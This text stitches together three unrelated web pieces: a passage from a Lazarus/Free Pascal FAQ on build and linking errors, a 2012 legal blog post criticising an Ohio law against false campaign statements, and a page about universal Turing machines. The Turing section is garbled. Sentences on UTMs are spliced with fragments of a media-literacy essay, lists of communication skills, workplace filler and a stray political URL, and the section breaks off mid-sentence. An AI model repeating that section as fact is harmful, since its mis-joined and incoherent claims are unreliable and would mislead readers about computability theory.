Compilation (LFS) Make sure that there is a lib<somelib>.a in the path, and that it contains the right version. To let the linker find the dynamic library, create a symlink called lib<some lib>.so to lib<some lib><version>-x,y.so if necessary (and\/or for static lib; lib<some lib>.a to lib<some lib><version>-x,y.a). FreeBSD : As source based distro's, and also make sure you have -Fl\/usr\/local\/lib in your fpc.cfg and\/or Lazarus library path. Keep in mind that GTK1.2 has \"gtk12\" as package name under FreeBSD. (same for glib) NOTE: This has changed as of late. Newest ports have gtk-12 and glib-12 as well. You might stumble on this problem, since FPC requires the \"-less\" ones, you will need to symlink them like this: # as root cd \/usr\/local\/lib && ln -s libglib-12.so libglib12.so cd \/usr\/X11R6\/lib && ln -s libgtk-12.so libgtk12.so cd \/usr\/X11R6\/lib && ln -s libgdk-12.so libgdk12.so NetBSD : As source based distro's, and also make sure you have -Fl\/usr\/pkg\/lib in your fpc.cfg and\/or Lazarus library path Fedora : In the \"add\/remove software\" panel search for: \"gtk2-devel\", \"glibc-devel\" ([see here]), \"libx11-devel\" ### How can I convert a Kylix 2 project into a Lazarus project? Nearly the same way as converting a Kylix project into a Delphi\/VCL project. The LCL (Lazarus Component Library) tries to be compatible to Delphi's VCL. Kylix's CLX tries to be QT compatible. Here are some general hints: \u2022 Rename all used CLX Q-units like QForms, QControls, QGraphics, ... into their VCL counterparts: Forms, Controls, Graphics, ... \u2022 Add LResources to the uses section of every form source \u2022 Rename or copy all .xfm files to .lfm files. \u2022 Rename or copy .dpr file to .lpr file. \u2022 Add \"Interfaces\" to the uses section in the .lpr file. \u2022 Remove {$R *.res} directive\n\u2022 Remove {$R *.xfm} directive \u2022 Add {$mode objfpc}{$H+} or {$mode delphi}{$H+} directive to .pas and .lpr files \u2022 Add an initialization section to the end of each form source and add an include directive for the .lrs file (Lazarus resource file): initialization {$I unit1.lrs}\nThe .lrs files can be created via the lazres tool in: (lazarusdir)\/tools\/lazres.\nFor example: .\/lazres unit1.lrs unit1.lfm\n\u2022 Fix the differences. The LCL does not yet support every property of the VCL and the CLX is not fully VCL compatible.\n\u2022 To make it more platform independent, reduce unit libc (which is deprecated) references and substitute with native FPC units like baseunix\/unix as much as possible. This will be necessary to support other targets than linux\/x86 (including OS X, FreeBSD and Linux\/x86_64)\n\n### When compiling lazarus the compiler can not find a unit. e.g.: gtkint.pp(17,16) Fatal: Can't find unit GLIB\n\n1. Check a clean rebuild: do a 'make clean all'\n\n2. Check if the compiler has the correct version (2.0.4 or higher)\n\n3. Check if the compiler is using the right config file. The normal installation creates \/etc\/fpc.cfg. But fpc also searches for ~\/.ppc386.cfg, ~\/.fpc.cfg, \/etc\/ppc386.cfg and it uses only the first it finds.\n\nHint: You can see which config file is used with 'ppc386 -vt bogus'\nRemove any ppc386.cfg as it is really obsolete.\n\n4. Check if the config file (\/etc\/fpc.cfg) contains the right paths to your fpc libs. There must be three lines like this:\n\n -Fu\/usr\/lib\/fpc\/$fpcversion\/units\/$fpctarget\n-Fu\/usr\/lib\/fpc\/$fpcversion\/units\/$fpctarget\/rtl\n-Fu\/usr\/lib\/fpc\/$fpcversion\/units\/$fpctarget\/*\n\nThe first part of these paths (\/usr\/lib\/fpc) depends on your system. On some systems this can be for example \/usr\/local\/lib\/fpc\/... .\nHint: You can see your searchpaths with 'ppc386 -vt bogus'\n\n5. Check that the config file (\/etc\/fpc.cfg) does not contain search paths to the lcl source files (.pp, .pas):\n\n forbidden: -Fu(lazarus_source_directory)\/lcl\nforbidden: -Fu(lazarus_source_directory)\/lcl\/interfaces\/gtk\n\nIf you want to add the lcl for all your fpc projects, make sure that the two paths look like the following and are placed after the above fpc lib paths:\n -Fu(lazarus_source_directory)\/lcl\/units\/$fpctarget -Fu(lazarus_source_directory)\/lcl\/units\/$fpctarget\/gtk\n\n\n6. Check if the missing unit (glib.ppu) exists in your fpc lib directory. For example the gtk.ppu can be found in \/usr\/lib\/fpc\/$fpcversion\/units\/i386-linux\/gtk\/. If it does not exists, the fpc lib is corrupt and should be reinstalled. 7. Check if the sources are in a NFS mounted directory. In some cases the NFS updates created files incorrectly. Please, try to move the sources into a non NFS directory and compile there. 8. If you are still not succeeded try to use samplecfg script as follows: # cd \/usr\/lib\/fpc\/version\/ # sudo .\/samplecfg \/usr\/lib\/fpc\/\\$version \/etc\n\nNote: Do not a slash (\"\/\") after etc, because if you do, the system will create a folder \/etc\/fpc.cfg\/fpc.cfg. In fact, we want samplecfg to make a file \/etc\/fpc.cfg, not the folder \/etc\/fpc.cfg.\n\n### I have installed the binary version, but when compiling a simple project, Lazarus gives: Fatal: Can't find unit CONTROLS\n\nProbably you are using a newer fpc package, than that used for building the lazarus binaries. The best solution is to download the sources and compile lazarus manually. You can download the source snapshot or get the source via svn:\n\nbash\nsvn checkout http:\/\/svn.freepascal.org\/svn\/lazarus\/trunk lazarus\ncd lazarus\nmake clean all\n\nMake sure that Lazarus get the new source directory: Environment->General Options->Files->Lazarus Directory Top\n\nInstall the gdk-pixbuf library for gtk1.x:\n\nWhere to find the gdk-pixbuf library:\n\nDebian packages: libgdk-pixbuf-dev\n\nUbuntu 8.10:\n\nIf you are compiling Lazarus with GTK 2.0 you'll get a \"libgdk-pixbuf2.0\" not found error. Just install libgtk2.0-dev using apt on this way:\n\napt-get install libgtk2.0-dev\n\n### I have SuSE and I get \/usr\/bin\/ld: cannot find -lgtk Error: Error while linking\n\nOlder SuSE versions (before SuSE 11) install the gtk devel libs under \/opt\/gnome\/lib (or \/opt\/gnome\/lib64 for 64 bits), which is not in the standard lib path. Simply add it to your \/etc\/fpc.cfg (-Fl\/opt\/gnome\/lib).\n\n### I have Kubuntu and I get \/usr\/bin\/ld: cannot find -lgtk-x11-2.0\n\nYou can either use the QT or the GTK2 backend. Default is GTK2. For GTK2 install the kubuntu package libgtk2.0-dev.\n\n### Lazarus crashes with runtime error 211 after I installed a component\n\nAfter I installed a component, Lazarus crashes with the following message:\n\nThreading has been used before cthreads was initialized.\nRuntime error 211 at $0066E188 How can I fix this? Your freshly installed component is using threads. FPC on *nix doesn't automatically include threading support, but it must be intialized. This initialization is done in the cthreads unit. Every application using the component needs to add this unit to the uses clause of the main program. Lazarus itself is no exception. This can be done in two ways: 1) Open the package. In the package editor click on Options. Under page Usage add to the custom options -dUseCThreads. Then rebuild the IDE. This way the cthreads unit will be automatically used by the IDE under unix and the cthreads are initialized. 2) In order to avoid modifying package, an FPC compiler option could be used directly. Open menu Tools->Configure \"build Lazarus\". \"Configure build Lazarus\" dialog will be shown; in field \"Options:\" type -Facthreads and then press \"OK\" button. The next step is to install the package. Lazarus will be built with option -Facthreads which means that it will treat main program as if unit cthreads where first in uses clause. Hint: Maybe your old (non-crashing) Lazarus executable is stored as lazarus.old in the same directory as the crashing Lazarus executable. ### When I run a program with threads I get runtime error 232 The complete error message is: This binary has no thread support compiled in. Recompile the application with a thread-driver in the program uses clause before other units using thread. Runtime error 232 Solution: Add cthreads as first unit to the uses clause of your main program, usually the .lpr-file. ### I have Ubuntu Breezy\/Mandriva KDE3 and my fonts in Lazarus IDE look too big If Lazarus is compiled with Gtk1.2, the settings in Gnome Preferences\/Font don't have any effect as they are related to Gtk2. You could try this solution: Create a file named .gtkrc.mine in your home directory (if it's not already there) and add these lines to it: style \"default-text\" { fontset = \"-*-arial-medium-r-normal--*-100-*-*-*-*-iso8859-1,\\ -*-helvetica-medium-r-normal--*-100-*-*-*-*-*-*\" } class \"GtkWidget\" style \"default-text\" If this is not enough try and create also a .gtkrc symlink to .gtkrc.mine . It worked in this way under Xubuntu 7.10, Mandriva 2009.0 KDE3. ### How can my gtk programs use custom rc files? Option a) Name the rc file yourprogram.gtkrc and put it in the same directory where the executable is. Option b) Use unit GtkInt and call GTKWidgetSet.SetRCFilename('your_preferred_rc_file'); Best done before Application.Initialize in the .lpr file with {$IFDEF LCLGtk}.\n\nOption c) Use unit gtk2 and call gtk_rc_parse('your_rc_file')); and gtk_rc_reparse_all;.\n\n### I have Ubuntu and I cannot compile for Gtk2 due to missing libraries\n\nUbuntu has a problem with not creating all the symbolic links that you'll need even when the libraries are installed. Make sure that all missing libraries when trying to link for Gtk2 have their appropriate links. For instance, you might need to do:\n\ncd \/usr\/lib\nsudo ln -s libgdk-x11-2.0.so.0 libgtk-x11-2.0.so\n\nMake sure that the [whatever].so symbolic links are created and point to the actual libraries.\n\n### Lazarus runs differently with Linux vs. Windows. What do I need to know?\n\nIf you use readln(); and writeln(); for your input and output the console window (sometimes called terminal window) is not going to pop up as it does with Windows. You will need to access this window with View - Debug Windows - Terminal Output. Unlike with Windows you can not use backspace to correct typing errors. The 'Enter' key on the numeric keypad may not work either, depending on the widgetset the IDE was built for. Type carefully!\n\nBecause Linux is case sensitive you will need to take care that you pay attention to case when referencing or accessing files.\n\n## Windows\n\n### When I cycle\/rebuild the compiler, I get\n\n#### The name specified is not recognized as an internal or external command, operable program or batch file.>& was unexpected at this time\n\nIn the compiler directory there is an OS2 scriptfile named make.cmd. Different versions of Windows also see this as a script file, so remove it since what is needed for OS2 becomes a hindrance on Windows.\n\nSomehow make has lost its path (reason unknown). Try to cycle with a basedir set like:\n\nmake cycle BASEDIR=your_fpc_source_dir_herecompiler\n\n### When I try to make Lazarus I get:\n\n#### makefile:27: *** You need the GNU utils package to use this Makefile. Stop.\n\nMake sure you didn't install FPC in a path with spaces in the name. The Makefile doesn't support it.\n\n### How can I give my program an XP look like Lazarus has?\n\nProject -> Project Options -> Check 'Use manifest to enables themes'.\n\n### When I run Windows program created in Lazarus it starts with a DOS window\n\nSpecify the -WG argument (Windows GUI) on the command line of the compiler or in the Lazarus IDE check the Windows GUI check box on the compiler options dialog box (Project menu -> Compiler Options -> Config and Target -> target OS Specific options.\n\n## Mac OS X\n\n### Why does compiling a project fail with 'unknown section attribute: no_dead_strip'?\n\nDead code stripping is not supported by the assembler and linker before Xcode 1.5 (available for Mac OS X 10.3.9). Disable the compiler options\n\n\u2022 Code > Unit style > Smart linkable (-CX)\n\n## Licensing\n\n### Can I make commercial applications with Lazarus?\n\nYes, the LCL is licensed under the LGPL with an exception, which allows you to link to it statically without releasing the source of your application. Modifications and enhancements to the LCL must be distributed with source. Lazarus, the IDE, is licensed under the GPL. The LCL consists only of the code in the directory named \"lcl\", other code may not be covered by this statement.\n\n### Why are some components restricted from usage in commercial application?\n\nLazarus comes with additional components, that were developed by third parties. Those are under various other Licenses. If you wish to use them you need to see the License within the source files of those packages. Most of those 3rd party components are in the directory \"components\".\n\n### How do I know if a Component is part of the LCL?\n\nAll LCL units are in the directory \"lcl\". A list of units belonging to the LCL can be found here. If your code uses units not listed on this page, you may have used a component that is not part of the LCL.\n\n### Can I make commercial plug-ins for Lazarus?\n\nYes, the IDEIntf part of the IDE is licensed under the LGPL with the same exception, so that shared data structures in this part will not force you to license your plug-in or design-time package under the GPL. You are free to choose a plug-in of any license; we don't want to limit your choice. Therefore non-GPL compatible plug-ins are allowed. Note that it's not allowed to distribute a precompiled Lazarus with these non-GPL-compatible plugins included statically; however, we do not see this as a severe limitation, since recompiling Lazarus is easy.\n\n## Using the Forum\n\n### What is the correct way to ask questions in the forum?\n\nFirst and most important: always mention which Lazarus version, Free Pascal version, Widgetset, CPU Architecture and Operating System (with full version) that you are using! Don't just say that you are using \"the latest version\"; please state the exact version number. For snapshots, the revision number and\/or date are also important.\n\nWhen asking a programming question, always try to include some source code which demonstrates the problem. Please surround your code with [code][\/code] tags (or use the Insert code button in the forum post editor toolbar). You can attach complete programs as zip files if you want. Use Lazarus\/Project\/Publish Project to help with that.\n\nIf you get an error on your code, always specify what the error is. Simply copying what the compiler \/ debugger \/ your program said should be enough in most cases. If the error happens at runtime, use -gl and disable function inlining when compiling so your program can generate a proper backtrace.\n\nOften an image is also very useful. You can host images in http:\/\/imageshack.us\/ and other similar websites and then post a link.\n\nTry to provide both a high-level overview of the problem (what goal you want to achieve) as well as a more detailed view of the problem (how are you trying to achieve your goal'. Often, there is a much easier way of getting things done that you may not know about.\n\nFinally, make sure you have searched\/read the relevant documentation (e.g. the FPC documentation and Lazarus wiki, see e.g. Lazarus Documentation. You should also search the forums: other people with may already have found solutions to similar problems. If you indicate you have already done a bit of homework, people will in general be much more willing to help.\n\n## Version numbering\n\nSee the Version Numbering page for an explanation of the branching and version numbering of Lazarus.\n\n## Problems\/issues with old Lazarus\/FPC versions\n\nIssues with old Lazarus\/FPC versions and notes about upgrading are covered below.\n\nOften, the best solution is to upgrade; please see the various Release Notes\n\n### Why is the linking so slow on Windows?\n\nNote: This problem was fixed in FPC 2.2 and Lazarus 0.9.24. Please update your Lazarus if you can. For older versions read text below.\n\nGenerally speaking, compilation on Windows takes more time then other platforms because the GNU Linker utilized by Free Pascal is slow on this platform. This problem only affects Windows, and is only bad on relatively old computers (less then 1Ghz) and computers with little RAM (128MB or less).\n\nOlder versions of FPC (and Lazarus based on it) don't support Windows (.rc\/.res) resources, but only LRS files (Lazarus Resource files). See Lazarus Resources Since 0.9.30 Lazarus can use fpc resources. That means you can delete the lrs files for forms and replace the include directives {$I unit1.lrs} with {$R *.lfm}.","date":"2018-02-20 01:55:46","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.39663732051849365, \"perplexity\": 4519.844445055739}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 20, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00503.warc.gz\"}"} | null | null |
Constitutional Law, Courts, Criminal law, Free Speech, Media, Politics, Society March 7, 2012 March 7, 2012
Ohio Case Challenges Law Criminalizing "Lies" In Political Campaign
The New York Times has an interesting article on the continuing debate over whether lies are protected under the first amendment — a debate that we discussed earlier in relation to the Supreme Court's consideration of the constitutionality of the Stolen Valor Act. Mark W. Miller, however, is fighting this issue in a different context — challenging a law that makes it a crime to lie in a political campaign. I have always viewed these laws as inimical to free speech and contrary to the First Amendment. The Supreme Court could resolve the question in the Alvarez case — or reinforce the ability of states to prosecute people for falsehoods utterly in political campaigns.
Miller, 46, is a mechanical engineer who was opposed to spending money on a streetcar project in Ohio and went to Twitter to encourage people to vote against it. He posted such statements as "15% of Cincinnati's Fire Dept browned out today to help pay for a streetcar boondoggle. If you think it's a waste of money, VOTE YES on 48."
Instead of contesting his figures, supporters of the project filed a complaint under an Ohio law that forbids false statements in political campaigns. Ohio is one of 17 states with such laws. Miller is seeking to strike down the law and Ohio's attorney general (and former U.S. Senator), Michael DeWine, is opposing the lawsuit on procedural grounds but, to his credit, has questioned the constitutionality of the law. It is an ironic position for the former senator who, like most politicians, has been accused of making false statements to make political points. Nevertheless, DeWine should be credited with declining to argue in favor of an unconstitutional law.
The Ohio law would allow for a six-month sentence — though that it extremely unlikely. It is enough to create a chilling effect on speech, particularly when those in power make decisions on how hard to pursue critics.
Less admirable is the position of the Ohio Election Commission, which dismissed first amendment concerns and cites a Sixth Circuit opinion in Pestrak v. Ohio Election Comm'n, 926 F.2d 573 (6th Cir. 1991), holding that "false speech, even political speech, does not merit constitutional protection if the speaker knows of the falsehood or recklessly disregards the truth." See also 281 Care Committee v. Arneson, ___ F.3d ___ (8th Cir. 2012); United States v. Alvarez, 617 F.3d 1198 (9th Cir. 2010). I have long argued against this view (here and here). My views are closer to the ruling in Rickert v. Pub. Disclosure Comm'n, which held that "[t]he notion that the government, rather than the people, may be the final arbiter of truth in political debate is fundamentally at odds with the First Amendment."
These laws vividly demonstrate the slippery slope on which the Supreme Court could place the nation. The use of these laws in the political context is the worse case scenario for free speech. It allows the government to not only define what is a lie but what is the truth. If individuals can be prosecuted for "lies," what about journalists or whistleblowers?
Free speech contains its own disinfectant for lies, which are exposed in the course of open debate. The "solution" to false statements is far worse than the problem. It empowers a governmental truth police which are likely to view many criticisms as untrue. That is why there is so much at stake in the Alvarez decision — far more than the treatment of an absurd liar who bragged about everything from being married to a Mexican starlet to playing for the Detroit Red Wings.
The Ohio case will be interesting to watch, though the decision in Alvarez is likely to come down before any ruling.
Source: NY Times
Obama's Kill Policy
Meet Two Sailors of the U.S.S. Monitor
41 thoughts on "Ohio Case Challenges Law Criminalizing "Lies" In Political Campaign"
Woosty's still a Cat says:
Thinkitthrough on Masterpiece Cakeshop Loses App…
Oky1 on Masterpiece Cakeshop Loses App…
Will Baker on "Tragedy … Might b…
Svelaz on Masterpiece Cakeshop Loses App… | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 5,505 |
{"url":"https:\/\/scentregroup3rdquarter15.interactiveinvestor.com.au\/wtvyy\/698bc7-universal-turing-machine-application","text":"Alan Turing introduced the idea of such a machine in 1936\u20131937. Besides his crowning achievement on the unsolvability of the halting problem, Turing provided a constructive proof of the existence of a universal machine (UM) which could simulate Search within: Articles Quick Answers Messages. When Alan Turing came up with the idea of a universal machine he had in mind the simplest computing model powerful enough to calculate all possible functions that can be calculated. O \u2061 5 Communication Skills Need to Thrive in the 21st Century Focus on Intent Honesty - Sync between Verbal and Non-verbal Active Listening Brevity Take Responsibility for Communication Problems. He also showed that no universal Turing machine of one state could exist. Alan Turing introduced this machine in 1936\u20131937. A Turing machine that is able to simulate any other Turing machine is called a universal Turing machine (UTM, or simply a universal machine). Without loss of generality, the input of Turing machine can be assumed to be in the alphabet {0, 1}; any other finite alphabet can be encoded over {0, 1}. In particular: Burks, Goldstine, von Neumann (1946), Wolfram's 2-state 3-symbol Turing machine, \"Shtetl-Optimized\u00a0\u00bb Blog Archive\u00a0\u00bb The 8000th Busy Beaver number eludes ZF set theory: new paper by Adam Yedidia and me\", \"On Computable Numbers, with an Application to the Entscheidungsproblem\", \"Scheme Implementation of a Universal Turing Machine\", \"A formalization of multi-tape Turing machines\", \"A Business Card Universal Turing Machine\", https:\/\/en.wikipedia.org\/w\/index.php?title=Universal_Turing_machine&oldid=991967626, Pages using citations with format and no URL, Creative Commons Attribution-ShareAlike License, This page was last edited on 2 December 2020, at 19:44. Share yours for free! For other uses, see. 1. [4] Knuth furthermore states that. With this encoding of action tables as strings, it becomes possible, in principle, for Turing machines to answer questions about the behaviour of other Turing machines. A 'universal' machine is one which can construct any arithmetic function that can be done by a particular Turing machine. Thus we can construct a Turing machine that expects on its tape a string describing an action table followed by a string describing the input tape, and computes the tape that the encoded Turing machine would have computed. Turing described such a construction in complete detail in his 1936 paper: Davis makes a persuasive argument that Turing's conception of what is now known as \"the stored-program computer\", of placing the \"action table\"\u2014the instructions for the machine\u2014in the same \"memory\" as the input data, strongly influenced John von Neumann's conception of the first American discrete-symbol (as opposed to analog) computer\u2014the EDVAC. If we denote by (m, n) the class of UTMs with m states and n symbols the following tuples have been found: (15, 2), (9, 3), (6, 4), (5, 5), (4, 6), (3, 9), and (2, 18). He showed that two symbols were sufficient so long as enough states were used (or vice versa), and that it was always possible to exchange states for symbols. the first two states can by convention be the start and stop states. for clarity): The U-machine's action-table (state-transition table) is responsible for decoding the symbols. Multi-head Turing machine can be simulated by single head Turing machine. Turing proposed that the program could change based on the problem. But, unbeknownst to many, they also have a rich history in advertising. Effectively this is an It also means that rewrite rules are Turing complete since the triple rules are equivalent to rewrite rules. Sign in. One such generalization is to allow an infinitely repeated word on one or both sides of the Turing machine input, thus extending the definition of universality and known as \"semi-weak\" or \"weak\" universality, respectively. This implementation was realized with a multicellular automaton inspired by the embryonic development of living organisms. A Universal machine is a Turing machine with the property of being able to read the description of any other Turing machine, and to carry out what that other Turing machine would have done. Some of the answers will be \u201cobjective\u201d like \u201cwho created the message\u201d and \u201cwhat techniques were used to attract attention.\u201d \u00a0The others are somewhat subjective. The British mathematician Alan Turing proposed an abstract universal model in 1936 in order to illustrate the concept of an algorithm and to theoretically explore the possibilities of algorithms with the help of this model. Copyright \u00a9 2013-2020 @lantis\u00ae Learning Network \u2013 ALL RIGHTS RESERVED, Applying Alan Turing\u2019s Universal Computing Machine to Media Literacy. Particularly, I'm looking for an action table for such a UTM with explanations. However, we can encode the action table of any Turing machine in a string. Thus in this example the machine acts like a 3-colour Turing machine with internal states A and B (represented by no letter). I think it is possible to create a \u201cUniversal Media Literacy Machine\u201d in the same way Alan Turing created a\u00a0\u201cUniversal Computing Machine.\u201d. The state table computes general relativity, based on my \"theory of everything\" down in another blog post. The distinguished states and symbols can be identified by their position, e.g. Starting from the above encoding, in 1966 F. C. Hennie and R. E. Stearns showed that given a Turing machine M\u03b1 that halts on input x within N steps, then there exists a multi-tape universal Turing machine that halts on inputs \u03b1, x (given on different tapes) in CN log N, where C is a machine-specific constant that does not depend on the length of the input x, but does depend on M's alphabet size, number of tapes, and number of states. Examples include Laconic and Turing Machine Descriptor.[11][12]. There are 3\u00a0basic elements: \u00a0#1) the Tape = the data, #2) the control device = the CPU, and #3) the states: 1\u2026n = the program. This approach was sufficiently modular to allow them to formally prove the correctness of the machine in the Matita proof assistant. The universal Turing machine might be the very first \u201ccomplicated\u201d algorithm ever designed for a computer. The way to do that is through human evaluations and transparency to those humans so the reader can value the subjectivity for themselves. Universiti Kebangsaan Malaysia. The Universal Turing Machine (UTM) or simply a universal machine is a solution to this problem. It is not known what the smallest number of colours needed for a multi-headed Turing machine are or if a 2-colour Universal Turing machine is possible with multiple heads. An addition machine would do addition. Breadcrumb. The symbols \"R\", \"L\", and \"N\" remain as is. Application for turing machine. Common sense might say that a universal machine is impossible, but Turing proves that it is possible. 7 Rice\u2019s Theorem Rice\u2019s theorem says that undecidability is the rule, not the exception. 14,646,535 members. \"q3\" = DAAA. Element #2) the CPU = any computer\/device that can access the data. In multi-tape turing machine, there can be more than one tape and corresponding head pointers, but it does not add any power to turing machine. An animation of the chosen machine BASIC [] Sinclair ZX81 BASIC [] The universal machine []. According to the Church\u2013Turing thesis, the problems solvable by a universal Turing machine are exactly those problems solvable by an algorithm or an effective method of computation, for any reasonable definition of those terms. Why can\u2019t the process of determining the \u201cvalue\u201d\u00a0of a piece of media\u00a0be the same as\u00a0computing\u00a0the value of 1+2? [1], In terms of computational complexity, a multi-tape universal Turing machine need only be slower by logarithmic factor compared to the machines it simulates.[2]. ) only symbols { 0, 1 }, or { blank, mark | }. In computer science, a universal Turing machine (UTM) is a Turing machine that simulates an arbitrary Turing machine on arbitrary input. ( Now I turn to Marvin Minsky\u2019s description of a universal Turing machine. It should be no surprise that we can achieve this encoding given the existence of a G\u00f6del number and computational equivalence between Turing machines and \u03bc-recursive functions. Additionally, we convene that every invalid encoding maps to a trivial Turing machine that immediately halts, and that every Turing machine can have an infinite number of encodings by padding the encoding with an arbitrary number of (say) 1's at the end, just like comments work in a programming language. \u2026 Universal turing machine examples. The tape alphabet of M is {0, 1, B} and its input alphabet is {0, 1}. As a justification for the Church-Turing thesis. N More on that later today. This is from http:\/\/www.redstate.com\/diary\/alecstates\/2017\/01\/16\/scott-pruitt-can-bring-fresh-leadership-reform-epa\/. Knuth cites Turing's work on the ACE computer as designing \"hardware to facilitate subroutine linkage\" (Knuth 1973:225); Davis also references this work as Turing's use of a hardware \"stack\" (Davis 2000:237 footnote 18). And, most importantly the program could actually change itself. Extending the tape to two dimensions with a head sampling a letter and its 8 neighbours, only 2 colours are needed, as for example, a colour can be encoded in a vertical triple pattern such as 110. UTM based on mov is Turing-complete paper x86 and x86-64. Davis quotes Time magazine to this effect, that \"everyone who taps at a keyboard... is working on an incarnation of a Turing machine,\" and that \"John von Neumann [built] on the work of Alan Turing\" (Davis 2000:193 quoting Time magazine of 29 March 1999). Here is the model proposed by Turing in his paper. In a similar manner he encodes the symbols blank as \"D\", the symbol \"0\" as \"DC\", the symbol \"1\" as DCC, etc. The answers to these question would then better\u00a0inform the consumer of the media. Home; Research; Research areas; Machine learning; Menu. Different people experience the same media message differently. To build this m\u2026 As we shall see, he took an interest in the practical application of his ideas even in 1936. For these reasons, a universal Turing machine serves as a standard against which to compare computational systems, and a system that can simulate a universal Turing machine is called Turing complete. But, never-the-less, answers could still be found to all the question, even given the subjective constraints. I think it is possible to create a \u201cUniversal Media Literacy Machine\u201d in the same way Alan Turing created a \u201cUniversal Computing Machine.\u201d Alan Turning, the fundamentally complicated and brilliant mathematician, suggested, in his groundbreaking 1936 pape r, that a \u201cUniversal Computing Machine\u201d could be built that could \u201ccompute any computable sequence.\u201d Asperti and Ricciotti described a multi-tape UTM defined by composing elementary machines with very simple semantics, rather than explicitly giving its full action table. SMC 2020 is the flagship conference of the IEEE Systems, Man, and Cybernetics Society. of Turing machines, from the specialized, application-speci c machines to the universal version that is the main topic of this contribution. For more about this example see the page Turing machine examples. In computer science, a universal Turing machine (UTM) is a Turing machine that can simulate an arbitrary Turing machine on arbitrary input. All sufficiently powerful models of computation can simulate one another. However, generalizing the standard Turing machine model admits even smaller UTMs. Before moving on to the next topic, von Neumann then described Turing's universal machine concept: \"A Turing machine is defined as 'adequate' for a particular problem if it can be solved by means of a suitable tape and apparatus. {\\displaystyle {\\mathcal {O}}\\left(N\\log {N}\\right)} And so forth. Marvin Minsky discovered a 7-state 4-symbol universal Turing machine in 1962 using 2-tag systems. Sign in with . As the Turing Machine was encouraging the construction of computers, the UTM was encouraging the development of the fledgling computer sciences. This Universal Turing machine is a machine that is able to simulate any other Turing machine, thus providing a single model and solution for all the computational problems [17]. It was a logical arithmetic construct and not a real physical calculating machine. ) What creative techniques are used to attract my attention? \"Universal machine\" redirects here. Yet it did produce the constructive and highly suggestive idea of the universal Turing machine, and in fact Alan Turing was never entirely 'pure' in his approach: bringing 'paper tape' into the foundations of mathematics was itself a striking breach of the conventional culture. the first two states can by convention be the start and stop states. The idea of a universal machine is simple and neat. The final assembly of the code on the tape for the U-machine consists of placing two special symbols (\"e\") one after the other, then the code separated out on alternate squares, and lastly the double-colon symbol \"::\" (blanks shown here with \".\" Boldface replacing script. This function can be easily encoded as a string over the alphabet {0, 1} as well. The size of the alphabet of M, the number of tapes it has, and the size of the state space can be deduced from the transition function's table. Motivation for the \u201cstored-program\u201d model of computers. Ask Question Asked 8 years, 2 months ago. The rules then convert any triple to another triple and move the 3-heads left or right. Stack Exchange network consists of 176 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share \u2026 At the time (mid-1940s to mid-1950s) a relatively small cadre of researchers were intimately involved with the architecture of the new \"digital computers\". This program expects to find: \u2022 R$(), an array of rules; \u2022 T$, an input tape (where an empty string stands for a blank tape); \u2022 B$, a character to use as a blank; \u2022 S$, an initial state; \u2022 H\\$, a halting state. Consider a tape such as 0,0,1,2,2A,0,2,1 where a 3-headed Turing machine is situated over the triple (2,2A,0). The universal machine essentially achieves this by reading both the description of the machine to be simulated as well as the input to that machine from its own tape. Retrieved 2 January 2020. Additionally, we convene that every invalid encoding maps to a trivial Turing machine that immediately halts, and that every Turing machine can have an infinite number of encodings by padding the encoding with an arbitrary number of (say) 1's at the end, just like comments work in a programming language. Various higher level languages are designed to be compiled into a Turing machine. With an increase in work from home, it has led to a need to have an Agile and Flexible Digital Workplace. Get ideas for your own presentations. We need to add a way to value the subjectivity of these elements. simulation, using Donald Knuth's Big O notation. Most of these questions, however, are undecidable, meaning that the function in question cannot be calculated mechanically. The U-machine's action table will shuttle these symbols around (erasing them and placing them in different locations) as the computation progresses: Turing's action-table for his U-machine is very involved. In that sense it behaves like a computer with a fixed program. Alan Turning, the fundamentally complicated and brilliant mathematician, suggested,\u00a0in his groundbreaking 1936 paper, that a \u201cUniversal Computing Machine\u201d could be built that could \u201ccompute any computable sequence.\u201d \u00a0 Simply put, Turing was proposing that, unlike any computing machine built up until then, a machine could be built that could easily change its computing\u00a0process based on the computing problem. The behavior of a Turing machine M is determined by its transition function. 5 Communication Skills Needed to Thrive in the 21st Century. Similarly, our construction associates to every binary string \u03b1, a Turing machine M\u03b1. Non-deterministic Turing Machine: A non-deterministic Turing machine has a single, one way infinite tape. Many are downloadable. Most media are organized to gain profit and\/or power. The size of the alphabet of M, the number of tapes it has, and the size of the state space can be deduced from the transition function's table. Minsky goes on to demonstrate Turing equivalence of a counter machine. For example, consider a tape with 6 colours: 0, 1, 2, 0A, 1A, 2A. Claude Shannon first explicitly posed the question of finding the smallest possible universal Turing machine in 1956. For much more see Turing machine equivalents; references can be found at register machine. Two other names of importance are Canadian researchers Melzak (1961) and Lambek (1961). Learn new and interesting things. How might different people understand this message differently from me? N This is precisely what a general purpose digital computer does. Can anyone point me in the right direction? Application-Speci c machines to the universal machine is one which can construct any arithmetic function that can access data. Which q0 is the new reality well explained implementation of a universal Turing can! Might convert ( 2,2A,0 ) he placed on alternate squares\u2014the F-squares '' \u2013 leaving the E-squares. The start and stop states searchable text, pictures, and accept any recursively language. Through human evaluations and transparency to those humans so the reader can value subjectivity. The subjectivity for themselves special registers is attributable to von Neumann 's first serious program... was... Attract my attention # 4, and # 5 are somewhat subjective shall see, he took an in. Machine computes a certain fixed partial computable function from the specialized, application-speci c machines to the universal is... General purpose digital computer accepts a program written in high level 